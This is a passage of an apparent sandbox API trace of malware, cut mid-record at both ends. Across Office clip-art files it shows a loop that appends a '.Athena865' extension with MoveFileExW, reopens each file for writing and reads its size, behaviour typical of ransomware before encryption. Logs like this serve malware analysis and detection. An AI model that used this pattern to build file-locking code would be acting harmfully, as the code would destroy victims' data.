office\\clipart\\pub60cor\\j0152560.wmf.athena865"), dwFlags=0x1) returned 1 [0126.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.081] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10880) returned 1 [0126.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152568.WMF" | out: lpString1="J0152568.WMF") returned="J0152568.WMF" [0126.085] lstrlenW (lpString="J0152568.WMF") returned 12 [0126.085] lstrlenW (lpString="Athena865") returned 9 [0126.085] lstrcmpiW (lpString1="52568.WMF", lpString2="Athena865") returned -1 [0126.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.Athena865") returned 73 [0126.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.athena865"), dwFlags=0x1) returned 1 [0126.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.087] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3696) returned 1 [0126.090] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152570.WMF" | out: lpString1="J0152570.WMF") returned="J0152570.WMF" [0126.090] lstrlenW (lpString="J0152570.WMF") returned 12 [0126.090] lstrlenW (lpString="Athena865") returned 9 [0126.090] lstrcmpiW (lpString1="52570.WMF", lpString2="Athena865") returned -1 [0126.090] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.Athena865") returned 73 [0126.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.athena865"), dwFlags=0x1) returned 1 [0126.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.092] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3368) returned 1 [0126.095] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152590.WMF" | out: lpString1="J0152590.WMF") returned="J0152590.WMF" [0126.095] lstrlenW (lpString="J0152590.WMF") returned 12 [0126.095] lstrlenW (lpString="Athena865") returned 9 [0126.095] lstrcmpiW (lpString1="52590.WMF", lpString2="Athena865") returned -1 [0126.095] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.Athena865") returned 73 [0126.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.athena865"), dwFlags=0x1) returned 1 [0126.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.096] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10932) returned 1 [0126.102] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152594.WMF" | out: lpString1="J0152594.WMF") returned="J0152594.WMF" [0126.102] lstrlenW (lpString="J0152594.WMF") returned 12 [0126.102] lstrlenW (lpString="Athena865") returned 9 [0126.102] lstrcmpiW (lpString1="52594.WMF", lpString2="Athena865") returned -1 [0126.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.Athena865") returned 73 [0126.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.athena865"), dwFlags=0x1) returned 1 [0126.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.103] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6340) returned 1 [0126.106] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152600.WMF" | out: lpString1="J0152600.WMF") returned="J0152600.WMF" [0126.106] lstrlenW (lpString="J0152600.WMF") returned 12 [0126.106] lstrlenW (lpString="Athena865") returned 9 [0126.106] lstrcmpiW (lpString1="52600.WMF", lpString2="Athena865") returned -1 [0126.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.Athena865") returned 73 [0126.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.athena865"), dwFlags=0x1) returned 1 [0126.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.107] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9768) returned 1 [0126.111] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152602.WMF" | out: lpString1="J0152602.WMF") returned="J0152602.WMF" [0126.111] lstrlenW (lpString="J0152602.WMF") returned 12 [0126.111] lstrlenW (lpString="Athena865") returned 9 [0126.111] lstrcmpiW (lpString1="52602.WMF", lpString2="Athena865") returned -1 [0126.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.Athena865") returned 73 [0126.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.athena865"), dwFlags=0x1) returned 1 [0126.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.112] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6276) returned 1 [0126.122] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152606.WMF" | out: lpString1="J0152606.WMF") returned="J0152606.WMF" [0126.122] lstrlenW (lpString="J0152606.WMF") returned 12 [0126.122] lstrlenW (lpString="Athena865") returned 9 [0126.122] lstrcmpiW (lpString1="52606.WMF", lpString2="Athena865") returned -1 [0126.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.Athena865") returned 73 [0126.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.athena865"), dwFlags=0x1) returned 1 [0126.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.124] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16632) returned 1 [0126.127] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152608.WMF" | out: lpString1="J0152608.WMF") returned="J0152608.WMF" [0126.127] lstrlenW (lpString="J0152608.WMF") returned 12 [0126.127] lstrlenW (lpString="Athena865") returned 9 [0126.127] lstrcmpiW (lpString1="52608.WMF", lpString2="Athena865") returned -1 [0126.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.Athena865") returned 73 [0126.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.athena865"), dwFlags=0x1) returned 1 [0126.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.129] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12436) returned 1 [0126.132] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152610.WMF" | out: lpString1="J0152610.WMF") returned="J0152610.WMF" [0126.132] lstrlenW (lpString="J0152610.WMF") returned 12 [0126.132] lstrlenW (lpString="Athena865") returned 9 [0126.132] lstrcmpiW (lpString1="52610.WMF", lpString2="Athena865") returned -1 [0126.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.Athena865") returned 73 [0126.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.athena865"), dwFlags=0x1) returned 1 [0126.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.133] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5960) returned 1 [0126.136] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152622.WMF" | out: lpString1="J0152622.WMF") returned="J0152622.WMF" [0126.136] lstrlenW (lpString="J0152622.WMF") returned 12 [0126.136] lstrlenW (lpString="Athena865") returned 9 [0126.136] lstrcmpiW (lpString1="52622.WMF", lpString2="Athena865") returned -1 [0126.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.Athena865") returned 73 [0126.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.athena865"), dwFlags=0x1) returned 1 [0126.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9604) returned 1 [0126.141] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152626.WMF" | out: lpString1="J0152626.WMF") returned="J0152626.WMF" [0126.141] lstrlenW (lpString="J0152626.WMF") returned 12 [0126.141] lstrlenW (lpString="Athena865") returned 9 [0126.141] lstrcmpiW (lpString1="52626.WMF", lpString2="Athena865") returned -1 [0126.141] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.Athena865") returned 73 [0126.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.athena865"), dwFlags=0x1) returned 1 [0126.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.142] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26248) returned 1 [0126.146] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152628.WMF" | out: lpString1="J0152628.WMF") returned="J0152628.WMF" [0126.146] lstrlenW (lpString="J0152628.WMF") returned 12 [0126.146] lstrlenW (lpString="Athena865") returned 9 [0126.146] lstrcmpiW (lpString1="52628.WMF", lpString2="Athena865") returned -1 [0126.146] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.Athena865") returned 73 [0126.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.athena865"), dwFlags=0x1) returned 1 [0126.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.147] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30812) returned 1 [0126.151] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152688.WMF" | out: lpString1="J0152688.WMF") returned="J0152688.WMF" [0126.151] lstrlenW (lpString="J0152688.WMF") returned 12 [0126.151] lstrlenW (lpString="Athena865") returned 9 [0126.151] lstrcmpiW (lpString1="52688.WMF", lpString2="Athena865") returned -1 [0126.151] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.Athena865") returned 73 [0126.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.athena865"), dwFlags=0x1) returned 1 [0126.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.153] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34676) returned 1 [0126.157] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152690.WMF" | out: lpString1="J0152690.WMF") returned="J0152690.WMF" [0126.157] lstrlenW (lpString="J0152690.WMF") returned 12 [0126.157] lstrlenW (lpString="Athena865") returned 9 [0126.157] lstrcmpiW (lpString1="52690.WMF", lpString2="Athena865") returned -1 [0126.157] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.Athena865") returned 73 [0126.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.athena865"), dwFlags=0x1) returned 1 [0126.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.158] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1268) returned 1 [0126.161] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152694.WMF" | out: lpString1="J0152694.WMF") returned="J0152694.WMF" [0126.161] lstrlenW (lpString="J0152694.WMF") returned 12 [0126.161] lstrlenW (lpString="Athena865") returned 9 [0126.161] lstrcmpiW (lpString1="52694.WMF", lpString2="Athena865") returned -1 [0126.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.Athena865") returned 73 [0126.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.athena865"), dwFlags=0x1) returned 1 [0126.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1348) returned 1 [0126.166] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152696.WMF" | out: lpString1="J0152696.WMF") returned="J0152696.WMF" [0126.166] lstrlenW (lpString="J0152696.WMF") returned 12 [0126.166] lstrlenW (lpString="Athena865") returned 9 [0126.166] lstrcmpiW (lpString1="52696.WMF", lpString2="Athena865") returned -1 [0126.166] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.Athena865") returned 73 [0126.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.athena865"), dwFlags=0x1) returned 1 [0126.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.171] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7320) returned 1 [0126.174] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152698.WMF" | out: lpString1="J0152698.WMF") returned="J0152698.WMF" [0126.174] lstrlenW (lpString="J0152698.WMF") returned 12 [0126.174] lstrlenW (lpString="Athena865") returned 9 [0126.174] lstrcmpiW (lpString1="52698.WMF", lpString2="Athena865") returned -1 [0126.174] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.Athena865") returned 73 [0126.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.athena865"), dwFlags=0x1) returned 1 [0126.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.176] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1208) returned 1 [0126.179] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152702.WMF" | out: lpString1="J0152702.WMF") returned="J0152702.WMF" [0126.179] lstrlenW (lpString="J0152702.WMF") returned 12 [0126.179] lstrlenW (lpString="Athena865") returned 9 [0126.179] lstrcmpiW (lpString1="52702.WMF", lpString2="Athena865") returned -1 [0126.179] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.Athena865") returned 73 [0126.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.athena865"), dwFlags=0x1) returned 1 [0126.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.181] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1208) returned 1 [0126.184] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152704.WMF" | out: lpString1="J0152704.WMF") returned="J0152704.WMF" [0126.184] lstrlenW (lpString="J0152704.WMF") returned 12 [0126.184] lstrlenW (lpString="Athena865") returned 9 [0126.184] lstrcmpiW (lpString1="52704.WMF", lpString2="Athena865") returned -1 [0126.184] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.Athena865") returned 73 [0126.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.athena865"), dwFlags=0x1) returned 1 [0126.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.185] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1652) returned 1 [0126.188] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152708.WMF" | out: 